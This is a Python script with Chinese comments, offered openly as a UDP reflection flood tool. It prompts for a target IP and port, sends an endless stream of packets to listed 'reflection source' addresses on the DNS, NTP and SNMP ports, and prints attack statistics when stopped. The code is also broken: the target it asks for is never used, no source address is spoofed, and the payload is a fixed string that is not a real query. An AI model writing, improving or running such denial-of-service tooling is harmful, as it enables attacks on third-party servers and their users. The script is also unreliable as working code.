import socket
import random
import time

# 用户自定义选项
target_ip = input("请输入目标服务器的IP地址：")
target_port = int(input("请输入目标服务器的端口号："))
reflect_sources = ['1.2.3.4', '5.6.7.8', '9.10.11.12']  # 反射源IP地址列表
udp_ports = [53, 123, 161]  # UDP端口号列表

# 统计信息
total_requests = 0
success_count = 0
failure_count = 0
start_time = time.time()

# 构造UDP数据包
def create_udp_packet():
    payload = b'abcdefghijklmnopqrstuvwxyz'  # 自定义的UDP数据包内容
    udp_port = random.choice(udp_ports)  # 随机选择UDP端口号
    return payload, udp_port

# 发送UDP请求
def send_udp_request(payload, udp_port):
    global total_requests, success_count, failure_count
    try:
        reflect_source = random.choice(reflect_sources)  # 随机选择反射源IP地址
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.sendto(payload, (reflect_source, udp_port))
        success_count += 1
    except Exception as e:
        print("发送UDP请求时发生错误:", e)
        failure_count += 1
    finally:
        total_requests += 1

# 主程序
if __name__ == '__main__':
    try:
        while True:
            payload, udp_port = create_udp_packet()
            send_udp_request(payload, udp_port)
    except KeyboardInterrupt:
        end_time = time.time()
        duration = end_time - start_time
        print("攻击结束")
        print(f"总共发送了 {total_requests} 个请求")
        print(f"成功发送的请求数量：{success_count}")
        print(f"失败发送的请求数量：{failure_count}")
        print(f"成功发送请求的百分比：{success_count / total_requests * 100:.2f}%")
        print(f"攻击持续时间：{duration:.2f} 秒")
        print(f"平均每秒发送请求数：{total_requests / duration:.2f} 次/秒")
        print()
        print("按回车键继续...")
        input()